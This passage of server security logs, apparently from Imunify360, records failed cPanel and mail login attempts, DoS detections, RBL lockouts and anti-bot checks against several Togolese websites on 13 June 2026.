plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.237.4.37
country_id: 3624060
description:
[2026-06-13 08:08:12 +0000] info [cpaneld] 201.237.4.37 - fa "GET /login/?login_only=1&user=fa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 153.66.179.81
country_id: 6252001
description:
[2026-06-13 08:07:44 +0000] info [cpaneld] 153.66.179.81 - fastsolutio "GET /login/?login_only=1&user=fastsolutio&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsolutio (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.158.228.62
country_id: 3865483
description:
[2026-06-13 08:07:55 +0000] info [cpaneld] 186.158.228.62 - fastsolu "GET /login/?login_only=1&user=fastsolu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsolu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 124.120.15.142
country_id: 1605651
description:
[2026-06-13 08:08:02 +0000] info [cpaneld] 124.120.15.142 - fastso "GET /login/?login_only=1&user=fastso&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastso (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 149.90.104.94
country_id: 2264397
description:
149.90.104.94 - - [13/Jun/2026:08:10:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6592924&pdata=https%253A%252F%252Ftogodailynews.tg%252F17eme-fil-kodzo-adedze-constate-letat-davancement-des-travaux%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781338222 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/17eme-fil-kodzo-adedze-constate-letat-davancement-des-travaux/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.4447.1842 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:149.90.104.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.196.12.211
country_id: 3658394
description:
181.196.12.211 - - [13/Jun/2026:08:12:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9727591&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-les-deux-nouveaux-membres-de-la-cour-constitutionnelle-ont-prete-serment%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781338327 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-les-deux-nouveaux-membres-de-la-cour-constitutionnelle-ont-prete-serment/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.6608.1158 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.196.12.211


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 116.99.248.207
country_id: 1562822
description:
[2026-06-13 08:12:33 +0000] info [cpaneld] 116.99.248.207 - zephyr "GET /login/?login_only=1&user=zephyr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zephyr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.115.208.250
country_id: 3923057
description:
[2026-06-13 08:12:45 +0000] info [cpaneld] 181.115.208.250 - zeph "GET /login/?login_only=1&user=zeph&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zeph (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.253.54.39
country_id: 3469034
description:
[2026-06-13 08:12:48 +0000] info [cpaneld] 191.253.54.39 - zep "GET /login/?login_only=1&user=zep&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zep (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.166.222.10
country_id: 102358
description:
31.166.222.10 - - [13/Jun/2026:08:15:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7168707&pdata=https%253A%252F%252Ftogodailynews.tg%252Fgrands-lacs-loif-affirme-son-soutien-a-la-mediation-togolaise%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781338516 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/grands-lacs-loif-affirme-son-soutien-a-la-mediation-togolaise/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.8184.1274 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.166.222.10


plugin: cl_dos
name: DOS detection
abuser: 172.237.73.24
country_id: 1880251
description:
2026-06-13 08:15:53.790864752 +0000 GMT m=+38557.469694525 Denial of Service attack was discovered from 172.237.73.24, on port 80. Open connections: 494


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.60.163.162
country_id: 1210997
description:
103.60.163.162 - - [13/Jun/2026:08:16:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738142&pdata=https%253A%252F%252Ftogodailynews.tg%252Fuemoa-les-echanges-exterieurs-affichent-un-solde-excedentaire-de-1-6560-milliards-fcfa-au-1er-trimestre-2025%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781338574 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/uemoa-les-echanges-exterieurs-affichent-un-solde-excedentaire-de-1-6560-milliards-fcfa-au-1er-trimestre-2025/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.9934.1623 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.60.163.162


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.7
country_id: 6252001
description:
205.169.39.7 - - [13/Jun/2026:08:16:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12949861&pdata=http%253A%252F%252Fwww.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781338617 HTTP/1.1" 302 0 www.crepsad.tg "http://www.crepsad.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.7


plugin: cl_dos
name: DOS detection
abuser: 172.237.73.24
country_id: 1880251
description:
2026-06-13 08:16:24.919405986 +0000 GMT m=+38588.598235859 Denial of Service attack was discovered from 172.237.73.24, on port 80. Open connections: 472


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.136
country_id: 1643084
description:
[2026-06-13 08:20:25 +0000] info [cpaneld] 185.213.83.136 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
205.169.39.4 - - [13/Jun/2026:08:22:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7248747&pdata=http%253A%252F%252Fmisstogo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781338937 HTTP/1.1" 302 0 misstogo.tg "http://misstogo.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.250.138
country_id: 1269750
description:
Jun 13 08:23:55 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.250.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.221.130.102
country_id: 1269750
description:
Jun 13 08:23:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.221.130.102 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.255.198.85
country_id: 2413451
description:
Jun 13 08:24:40 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.255.198.85 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.136
country_id: 1643084
description:
[2026-06-13 08:24:49 +0000] info [cpaneld] 185.213.83.136 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.225.195.91
country_id: 3865483
description:
Jun 13 08:26:38 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.225.195.91 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.154
country_id: 1880251
description:
47.128.96.154 - - [13/Jun/2026:08:27:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803934&pdata=https%253A%252F%252Ftdn.tg%252Fsunu-assurances-vie-togo-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781339256 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/sunu-assurances-vie-togo-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.154


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.211.244.218
country_id: 1814991
description:
Jun 13 08:27:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.211.244.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.94.146
country_id: 2635167
description:
[2026-06-13 08:28:57 +0000] info [cpaneld] 217.181.94.146 - pnlpzmfv "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.56.133.0
country_id: 953987
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/47.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.34
country_id: 1269750
description:
2026-06-13 08:36:07 dovecot_plain authenticator failed for H=(bactatised) [182.95.181.34]:57910: 535 Incorrect authentication data (set_id=admin@soroubat.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.4.96.181
country_id: 3865483
description:
[2026-06-13 08:35:31 +0000] info [cpaneld] 186.4.96.181 - anrtog "GET /login/?login_only=1&user=anrtog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anrtog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.204.223.55
country_id: 3686110
description:
[2026-06-13 08:35:33 +0000] info [cpaneld] 152.204.223.55 - anrto "GET /login/?login_only=1&user=anrto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anrto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.251.56.83
country_id: 2542007
description:
[2026-06-13 08:35:23 +0000] info [cpaneld] 41.251.56.83 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 151.240.92.97
country_id: 6252001
description:
[2026-06-13 08:37:09 +0000] info [cpaneld] 151.240.92.97 - whmcsadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user whmcsadmin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 08:37:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.206.33.141
country_id: 2542007
description:
Jun 13 08:38:48 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.206.33.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.206.33.141
country_id: 2542007
description:
2026-06-13 08:38:50 dovecot_plain authenticator failed for H=adsl196-141-33-206-196.adsl196-2.iam.net.ma (frw6pw7z7tnxpi0hq0) [196.206.33.141]:60265: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.171.200.200
country_id: 3865483
domain: www.worldinfo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.worldinfo.tg/ouverture-ce-mardi-a-lome-du-16e-forum-de-lagoa/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 128.199.123.37
country_id: 1880251
description:
[2026-06-13 08:40:09 +0000] info [cpaneld] 128.199.123.37 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.250.191.250
country_id: 3017382
description:
2026-06-13 08:41:46 dovecot_plain authenticator failed for H=lfbn-bor-1-1384-250.w193-250.abo.wanadoo.fr ([69.172.210.47]) [193.250.191.250]:38560: 535 Incorrect authentication data (set_id=info@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.80.237.201
country_id: 3865483
description:
2026-06-13 08:42:00 dovecot_plain authenticator failed for H=([69.172.210.47]) [191.80.237.201]:48631: 535 Incorrect authentication data (set_id=admin@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.129.198.194
country_id: 285570
description:
2026-06-13 08:42:15 dovecot_plain authenticator failed for H=([69.172.210.47]) [94.129.198.194]:5039: 535 Incorrect authentication data (set_id=support@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.234.34.95
country_id: 3865483
description:
2026-06-13 08:43:02 dovecot_plain authenticator failed for H=([69.172.210.47]) [45.234.34.95]:59400: 535 Incorrect authentication data (set_id=contato@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.129.198.194
country_id: 285570
description:
2026-06-13 08:42:22 dovecot_login authenticator failed for H=([69.172.210.47]) [94.129.198.194]:5039: 535 Incorrect authentication data (set_id=support@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.237.29.0
country_id: 3469034
description:
2026-06-13 08:42:31 dovecot_plain authenticator failed for H=([69.172.210.47]) [45.237.29.0]:4428: 535 Incorrect authentication data (set_id=marketing@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.207.212.97
country_id: 2921044
description:
2026-06-13 08:42:45 dovecot_plain authenticator failed for H=p5dcfd461.dip0.t-ipconnect.de ([69.172.210.47]) [93.207.212.97]:39170: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.65.217.64
country_id: 1168579
description:
2026-06-13 08:43:52 dovecot_plain authenticator failed for H=([69.172.210.47]) [58.65.217.64]:46519: 535 Incorrect authentication data (set_id=comercial@ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.80.42.136
country_id: 3469034
description:
Jun 13 08:43:59 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.80.42.136 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.75.104.26
country_id: 3469034
description:
2026-06-13 08:44:09 dovecot_plain authenticator failed for H=([69.172.210.47]) [177.75.104.26]:13410: 535 Incorrect authentication data (set_id=it@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.86.176.113
country_id: 3895114
description:
2026-06-13 08:43:19 dovecot_plain authenticator failed for H=pc-113-176-86-200.cm.vtr.net ([69.172.210.47]) [200.86.176.113]:52200: 535 Incorrect authentication data (set_id=contacto@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.215.120.229
country_id: 3996063
description:
2026-06-13 08:43:34 dovecot_plain authenticator failed for H=([69.172.210.47]) [189.215.120.229]:44506: 535 Incorrect authentication data (set_id=financeiro@ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.203.220.178
country_id: 732800
description:
Jun 13 08:43:38 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.203.220.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.173.45.20
country_id: 3865483
description:
2026-06-13 08:45:11 dovecot_plain authenticator failed for H=([69.172.210.47]) [190.173.45.20]:50102: 535 Incorrect authentication data (set_id=office@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.75.104.26
country_id: 3469034
description:
2026-06-13 08:44:16 dovecot_login authenticator failed for H=([69.172.210.47]) [177.75.104.26]:13410: 535 Incorrect authentication data (set_id=it@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.244.235.176
country_id: 6252001
description:
2026-06-13 08:44:24 dovecot_plain authenticator failed for H=c-98-244-235-176.hsd1.fl.comcast.net ([69.172.210.47]) [98.244.235.176]:37616: 535 Incorrect authentication data (set_id=accounts@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.226.150.218
country_id: 3932488
description:
2026-06-13 08:44:39 dovecot_plain authenticator failed for H=([69.172.210.47]) [38.226.150.218]:39295: 535 Incorrect authentication data (set_id=suporte@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.65.108.243
country_id: 3865483
description:
2026-06-13 08:44:53 dovecot_plain authenticator failed for H=([69.172.210.47]) [186.65.108.243]:43692: 535 Incorrect authentication data (set_id=hr@ucao-uut.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.219
country_id: 1880251
description:
[2026-06-13 08:44:58 +0000] info [cpaneld] 103.253.27.219 - 1yTd3Xo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.173.45.20
country_id: 3865483
description:
2026-06-13 08:45:18 dovecot_login authenticator failed for H=([69.172.210.47]) [190.173.45.20]:50102: 535 Incorrect authentication data (set_id=office@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.140.37.69
country_id: 2017370
description:
2026-06-13 08:45:26 dovecot_plain authenticator failed for H=broadband-178-140-37-69.ip.moscow.rt.ru ([69.172.210.47]) [178.140.37.69]:42504: 535 Incorrect authentication data (set_id=soporte@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.109.250.168
country_id: 690791
description:
2026-06-13 08:45:41 dovecot_plain authenticator failed for H=([69.172.210.47]) [176.109.250.168]:41178: 535 Incorrect authentication data (set_id=ventas@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.201.235.15
country_id: 3686110
description:
2026-06-13 08:45:56 dovecot_plain authenticator failed for H=([69.172.210.47]) [152.201.235.15]:43518: 535 Incorrect authentication data (set_id=clients@ucao-uut.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.121.173.21
country_id: 1282988
description:
103.121.173.21 - - [13/Jun/2026:08:47:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792918&pdata=https%253A%252F%252Fmacite.tg%252F2024%252F11%252F14%252Fmarocanite-du-sahara-sainte-lucie-reitere-son-appui-au-plan-dautonomie-comme-la-seule-solution-credible-serieuse-et-realiste-au-differend%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781340444 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2024/11/14/marocanite-du-sahara-sainte-lucie-reitere-son-appui-au-plan-dautonomie-comme-la-seule-solution-credible-serieuse-et-realiste-au-differend/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.4504.1572 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.121.173.21


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.16.27.210
country_id: 1269750
description:
2026-06-13 08:51:13 dovecot_login authenticator failed for H=([178.178.222.58]) [125.16.27.210]:52336: 535 Incorrect authentication data (set_id=info@dany2.mairie.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.75.235.102
country_id: 1733045
description:
180.75.235.102 - - [13/Jun/2026:08:54:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7234248&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fzircon-supply-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781340873 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/zircon-supply-recrute/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.1765.1338 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.75.235.102


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 179.60.74.136
country_id: 3895114
description:
179.60.74.136 - - [13/Jun/2026:08:55:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328467&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fnana-akufo-addo-reelu%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781340904 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/nana-akufo-addo-reelu/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2328.1483 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:179.60.74.136


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-13 08:55:10 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:47964: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.169.209.61
country_id: 1210997
description:
103.169.209.61 - - [13/Jun/2026:08:55:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9750640&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fzircon-supply-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781340946 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/zircon-supply-recrute/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.7869.1616 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.169.209.61


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 95.248.103.13
country_id: 3175395
description:
95.248.103.13 - - [13/Jun/2026:08:56:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934277&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmali-tunisie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781340972 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/mali-tunisie/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.7428.1453 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:95.248.103.13


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.60
country_id: 3469034
description:
Jun 13 08:57:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.60 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 202.59.209.68
country_id: 1210997
description:
202.59.209.68 - - [13/Jun/2026:09:01:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986607&pdata=https%253A%252F%252Ftogodailynews.tg%252Fetat-secteur-prive-fiscalite-et-protection-sociale-au-coeur-des-discussions%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781341271 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/etat-secteur-prive-fiscalite-et-protection-sociale-au-coeur-des-discussions/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:202.59.209.68


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.200
country_id: 1880251
description:
47.128.96.200 - - [13/Jun/2026:09:04:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9947756&pdata=https%253A%252F%252Fzephyr.tg%252Fsample-page%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781341441 HTTP/2.0" 302 0 zephyr.tg "https://zephyr.tg/sample-page/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.200


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.237.222.62
country_id: 3865483
description:
[2026-06-13 09:04:45 +0000] info [cpaneld] 45.237.222.62 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.145.219.198
country_id: 3996063
description:
[2026-06-13 09:04:48 +0000] info [cpaneld] 187.145.219.198 - ucaouut "GET /login/?login_only=1&user=ucaouut&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.22.57.9
country_id: 3865483
description:
[2026-06-13 09:04:57 +0000] info [cpaneld] 186.22.57.9 - ucaouu "GET /login/?login_only=1&user=ucaouu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ucaouu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.234.213.14
country_id: 3658394
description:
[2026-06-13 09:05:08 +0000] info [cpaneld] 177.234.213.14 - uca "GET /login/?login_only=1&user=uca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user uca (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 182.9.193.160
country_id: 1643084
description:
182.9.193.160 - - [13/Jun/2026:09:07:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857123&pdata=https%253A%252F%252Ftogodailynews.tg%252Fahiadjipe-kokou-messan-paul-menuisier-de-profession-aspire-devenir-avocat%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781341657 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/ahiadjipe-kokou-messan-paul-menuisier-de-profession-aspire-devenir-avocat/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.5693.1701 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:182.9.193.160


plugin: modsec
rule: 77839622
